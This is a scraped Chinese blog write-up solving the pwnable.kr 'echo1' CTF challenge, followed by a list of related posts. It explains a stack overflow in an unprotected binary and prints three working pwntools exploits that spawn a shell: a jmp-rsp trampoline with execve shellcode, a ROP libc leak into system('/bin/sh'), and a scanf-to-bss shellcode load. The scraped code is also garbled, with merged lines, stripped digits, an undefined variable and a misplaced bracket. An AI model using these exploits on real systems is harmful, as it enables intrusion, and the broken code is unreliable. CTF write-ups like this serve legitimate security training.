pwnable.kr - echo1 - writeup

原文链接:https://www.cnblogs.com/WangAoBo/p/pwnable_kr_echo1.html

旧题新做,发现这道题能用不少姿势

漏洞分析

64位程序,没有开任何保护

pwnable_echo1 [master●●] check echo1
echo1: ELF -bit LSB executable, x86-, version (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-.so., for GNU/Linux 2.6., BuildID[sha1]=fa367b7e8f66b68737a56333996d80f0d72e54ea, not stripped
[*] '/home/m4x/pwn_repo/pwnable_echo1/echo1'
Arch: amd64--little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE

IDA可以看出,在echo1这个函数里没有对s的长度进行检查,可以通过控制s触发栈溢出

__int64 echo1()
{
char s; // [rsp+0h] [rbp-20h] (*((void (__fastcall **)(void *))o + ))(o); // greeting
get_input(&s, 128LL); // buffer overflow
puts(&s);
(*((void (__fastcall **)(void *))o + ))(o); // byebye
return 0LL;
}

利用方法

ret2shellcode

有能控制的栈溢出,程序没有开NX,因此第一个想法就是用ret2shellcode了,但shellcode往哪写是个问题(可以通过nop滑梯爆破shellcode在栈上的地址,但实际尝试时太慢,就不说了),固定的地址只有o和id两个全局变量,o又是malloc出来的,看起来只有id能联系上了。

但仔细观察,可控的只有id的前8个字节,8个字节是写不了shellcode的

  __isoc99_scanf("%24s", name);
v4 = o;
*(_QWORD *)o = *(_QWORD *)name;
v4[] = *(_QWORD *)&name[];
v4[] = *(_QWORD *)&name[];
id = *(_DWORD *)name;

调试也能看出只能控制id的前8个字节

整理一下目前的信息:

  • 有arbitrary overflow的栈
  • 有能控制的8个字节的全局变量
  • 无NX和pie保护

不能直接ret2shellcode是因为不知道shellcode的地址,但我们知道id前8个字节的地址,这样就可以通过这8个字节当一个trampoline,跳到shellcode,我的思路是:

  1. 控制id的前8个字节为"jmp rsp"(具体为什么是jmp rsp,通过调试可以清楚地显示)

    ───────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────
    0x40085f <echo1+> mov rax, qword ptr [rip + 0x201832] <0x602098>
    0x400866 <echo1+> mov rdi, rax
    0x400869 <echo1+> call rdx 0x40086b <echo1+> mov eax,
    0x400870 <echo1+> leave
    ► 0x400871 <echo1+> ret <0x6020a0; id>

    0x6020a0 <id> jmp rsp

    0x7fffce3ed600 push rax
    0x7fffce3ed601 xor rdx, rdx
    0x7fffce3ed604 xor rsi, rsi
    0x7fffce3ed607 movabs rbx, 0x68732f2f6e69622f
    ───────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────
    :│ rsp 0x7fffce3ed5f8 —▸ 0x6020a0 (id) ◂— jmp rsp /* 0xe4ff */
    :│ 0x7fffce3ed600 ◂— 0x48f63148d2314850
    :│ 0x7fffce3ed608 ◂— 0x732f2f6e69622fbb
    :│ 0x7fffce3ed610 ◂— 0x50f3bb05f545368
    :│ 0x7fffce3ed618 —▸ 0x40000a ◂— add byte ptr [rax], al
    :│ 0x7fffce3ed620 —▸ 0x7fffce3ed710 ◂— 0x1
    :│ 0x7fffce3ed628 ◂— 0x0
    :│ 0x7fffce3ed630 —▸ 0x400a90 (__libc_csu_init) ◂— mov qword ptr [rsp - 0x28], rbp

  2. 通过arbitrary overflow控制echo1的返回地址为id,然后通过id的跳板作用跳到shellcode

talk is cheap, show you the code

pwnable_echo1 [master●●] cat sc.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x' from pwn import *
from time import sleep
import sys
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ["deepin-terminal", "-x", "sh", "-c"] elf = ELF("./echo1")
if sys.argv[1] == "l":
context.log_level = "debug"
# env = {'LD_PRELOAD': ''}
# io = process("", env = env)
io = process("./echo1")
libc = elf.libc else:
io = remote("pwnable.kr", 9010)
# libc = ELF("") def DEBUG(cmd = ""):
raw_input("DEBUG: ")
gdb.attach(io, cmd) if __name__ == "__main__":
io.sendlineafter(" : ", asm("jmp rsp"))
# DEBUG("b *echo1\nc")
io.sendlineafter("> ", "")
sc = "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"
payload = fit({0x20 + 8: [elf.sym['id'], sc]})
io.sendline(payload) io.interactive()
io.close()

rop

更进一步,如果程序关闭了NX,能不能通过rop解决

答案是肯定的,rop需要有合适的gadget,这里只需要有类似 pop rdi;ret的gadget来控制第一个参数即可leak出libc基址,进而返回到system("/bin/sh")

想法很美好,但找来找去也没有找到能控制rdi的gadget(如果你找到了,请务必告诉我),利用64位elf通用gadget(参考链接)偏移凑出的gadget也因为改变了rsp不能用

pwndbg> x/3i 0x0000000000400b0f+
0x400b10 <__libc_csu_init+>: mov edi,DWORD PTR [rsp+0x30]
0x400b14 <__libc_csu_init+>: add rsp,0x38
0x400b18 <__libc_csu_init+>: ret

这时候再把目光放到控制id的8个字节上,看一下8个字节,我们能写多少指令

pwnable_echo1 [master●●] rasm2 -a x86 -b  "pop rdi;ret"
5fc3
pwnable_echo1 [master●●] rasm2 -a x86 -b "pop rdi;pop rsi;ret"
5f5ec3
pwnable_echo1 [master●●] rasm2 -a x86 -b "pop rdi;pop rsi;pop rdx;ret"
5f5e5ac3
pwnable_echo1 [master●●] rasm2 -a x86 -b "pop rdi;pop rsi;pop rdx;pop rcx;ret"
5f5e5a59c3

发现即使是控制4个寄存器的gadget,也只需5个字节,几乎可以满足任何需求了,有以下几种方法

基于 len(asm("pop rdi; ret")) < 8

只控制一个参数,可以先通过puts来leak出libc基址,然后再控制system的参数为/bin/sh即可

pwnable_echo1 [master●●] cat rop.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x' from pwn import *
from time import sleep
import sys
context.os = 'linux'
context.arch = 'amd64'
context.terminal = ["deepin-terminal", "-x", "sh", "-c"] elf = ELF("./echo1")
if sys.argv[1] == "l":
context.log_level = "debug"
# env = {'LD_PRELOAD': ''}
# io = process("", env = env)
io = process("./echo1")
libc = elf.libc else:
io = remote("pwnable.kr", 9010)
# libc = ELF("") def DEBUG(cmd = ""):
raw_input("DEBUG: ")
gdb.attach(io, cmd) if __name__ == "__main__":
pr = asm('pop rdi;ret')
io.sendlineafter(" : ", pppr)
# DEBUG("b *echo1\nc")
io.sendlineafter("> ", "")
payload = flat([cyclic(0x20 + 8), elf.sym['id'], elf.got['puts'], elf.plt['puts']], elf.sym['echo1'])
io.sendline(payload)
libc.address = u64(io.recvuntil("\x7f")[-6: ].ljust(8, '\0')) - libc.sym['puts']
success("libc.address -> {:#x}".format(libc.address))
pause() payload = flat([cyclic(0x20 + 8), elf.sym['id'], next(libc.search("/bin/sh")), libc.sym['system']])
io.sendline(payload) io.interactive()
io.close()

基于 len(asm("pop rdi; pop rsi; ret")) < 8

控制两个参数,可以控制echo1返回到scanf("%s", bss)把shellcode读到一个固定地址上,然后再返回到该地址,需要注意的是通过scanf读入shellcode的话需要避免shellcode中出现bad char截断scanf(可以参考这道题),幸运的是shellcraft生成的shellcode刚好满足条件

pwnable_echo1 [master●●] cat pop2.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x' from pwn import *
from time import sleep
import sys
context.os = 'linux'
context.arch = 'amd64'
context.terminal = ["deepin-terminal", "-x", "sh", "-c"] elf = ELF("./echo1")
if sys.argv[1] == "l":
context.log_level = "debug"
# env = {'LD_PRELOAD': ''}
# io = process("", env = env)
io = process("./echo1")
libc = elf.libc else:
io = remote("pwnable.kr", 9010)
# libc = ELF("") def DEBUG(cmd = ""):
raw_input("DEBUG: ")
gdb.attach(io, cmd) if __name__ == "__main__":
pppr = asm('pop rdi; pop rsi; ret')
io.sendlineafter(" : ", pppr)
# DEBUG("b *echo1\nc")
io.sendlineafter("> ", "")
payload = flat([cyclic(0x20 + 8), elf.sym['id'], next(elf.search("%s")), elf.bss(), elf.plt['__isoc99_scanf'], elf.bss()])
io.sendline(payload) io.sendline(asm(shellcraft.execve("/bin/sh"))) io.interactive()
io.close()

基于 len(asm("pop rdi; pop rsi; pop rdx;ret")) < 8

因为程序没有read函数,所以我能想到的方法和上一中一样,不再放shellcode

基于 len(asm("pop rdi; pop rsi; pop rdx;pop rcx; ret")) < 8

可以利用ret2syscall(可以参考这道题目)的方法,控制

  • rdi = 59(64位系统下execve的系统调用号)
  • rsi -> /bin/sh(execve的第一个参数)
  • rdx = 0(execve的第二个参数)
  • rcx = 0(execve的第三个参数)

我相信能看懂这个方法的师傅是可以独立写出ret2syscall的exp的,这里也不再放exp了


以上所有代码均能在我的github上找到,欢迎star

以前觉得巨难理解的一道题,现在回头看还挺简单的

pwnable.kr-echo1-Writeup的更多相关文章

  1. pwnable.kr simple login writeup

    这道题是pwnable.kr Rookiss部分的simple login,需要我们去覆盖程序的ebp,eip,esp去改变程序的执行流程   主要逻辑是输入一个字符串,base64解码后看是否与题目 ...

  2. pwnable.kr的passcode

    前段时间找到一个练习pwn的网站,pwnable.kr 这里记录其中的passcode的做题过程,给自己加深印象. 废话不多说了,看一下题目, 看到题目,就ssh连接进去,就看到三个文件如下 看了一下 ...

  3. pwnable.kr bof之write up

    这一题与前两题不同,用到了静态调试工具ida 首先题中给出了源码: #include <stdio.h> #include <string.h> #include <st ...

  4. pwnable.kr col之write up

    Daddy told me about cool MD5 hash collision today. I wanna do something like that too! ssh col@pwnab ...

  5. pwnable.kr brainfuck之write up

    I made a simple brain-fuck language emulation program written in C. The [ ] commands are not impleme ...

  6. pwnable.kr login之write up

    main函数如下: auth函数如下: 程序的流程如下: 输入Authenticate值,并base64解码,将解码的值代入md5_auth函数中 mad5_auth()生成其MD5值并与f87cd6 ...

  7. pwnable.kr详细通关秘籍(二)

    i春秋作家:W1ngs 原文来自:pwnable.kr详细通关秘籍(二) 0x00 input 首先看一下代码: 可以看到程序总共有五步,全部都满足了才可以得到flag,那我们就一步一步来看 这道题考 ...

  8. pwnable.kr第二天

    3.bof 这题就是简单的数组越界覆盖,直接用gdb 调试出偏移就ok from pwn import * context.log_level='debug' payload='A'*52+p32(0 ...

  9. [pwnable.kr]Dragon

    0x00: dragon 是一个UAF漏洞的利用. UseAfterFree 是堆的漏洞利用的一种 简单介绍 https://www.owasp.org/index.php/Using_freed_m ...

  10. [pwnable.kr] - wtf

    Q: I don't understand why my exploit is not working. I need your help. download : http://pwnable.kr/ ...

随机推荐

  1. Codeforces Round #624 (Div. 3) F. Moving Points 题解

    第一次写博客 ,请多指教! 翻了翻前面的题解发现都是用树状数组来做,这里更新一个 线段树+离散化的做法: 其实这道题是没有必要用线段树的,树状数组就能够解决.但是个人感觉把线段树用熟了会比树状数组更有 ...

  2. vue自学入门-7(vue style scope)

    vue自学入门-1(Windows下搭建vue环境) vue自学入门-2(vue创建项目) vue自学入门-3(vue第一个例子) vue自学入门-4(vue slot) vue自学入门-5(vuex ...

  3. poj1141题解

    题意 空序列是规则序列:用小括号(或者方括号)把一个规则序列括起来依然是规则序列:两个规则序列并列在一起仍然是规则序列. 给出一个括号字符串S,求一个规则序列ANS,满足S是ANS的子序列且ans尽可 ...

  4. 假期学习【八】首都之窗百姓信件爬虫(完整版)2020.2.6 Python

    时间:2020.2.6 今天把昨天做到一半的首都之窗百姓信件爬取完成了. 源码如下: import requests import io from bs4 import BeautifulSoup # ...

  5. spring整合websocket,如何在服务端依赖注入service

    1.在pom.xml文件中添加jar包: <properties> <spring.version>4.0.5.RELEASE</spring.version> & ...

  6. Codeforces 764C Timofey and a tree

    Each New Year Timofey and his friends cut down a tree of n vertices and bring it home. After that th ...

  7. FC-NVMe阅读摘要(一)

    首字母缩写 IU Information Unit BLS Basic Link Service ELS Extended Link Service PLOGI N_Port Login PRLI   ...

  8. vim光标操作

    v可视模式 ve可视模式但不包括selection o操作符等待模式 i插入模式 r替换模式(命令模式下,按r,输入一个字符将替换光标所在处字符) c命令行常规模式 ci命令行插入模式 cr命令行替换 ...

  9. 从零DIY机械键盘/主控方案

    自从有了第一套机械键盘,先后修改了接口方案,安装了LED灯等,但是始终无法满足自己的DIY欲望. 于是想到最简单的方法就是用现成的主控,而主控来源于废弃的键盘,如下图: 这种主控也是矩阵方式,只需要测 ...

  10. mybatis大于等于小于等于的写法

    第一种写法(1): 原符号 < <= > >= & ' " 替换符号 < <= > >= & &apos; " ...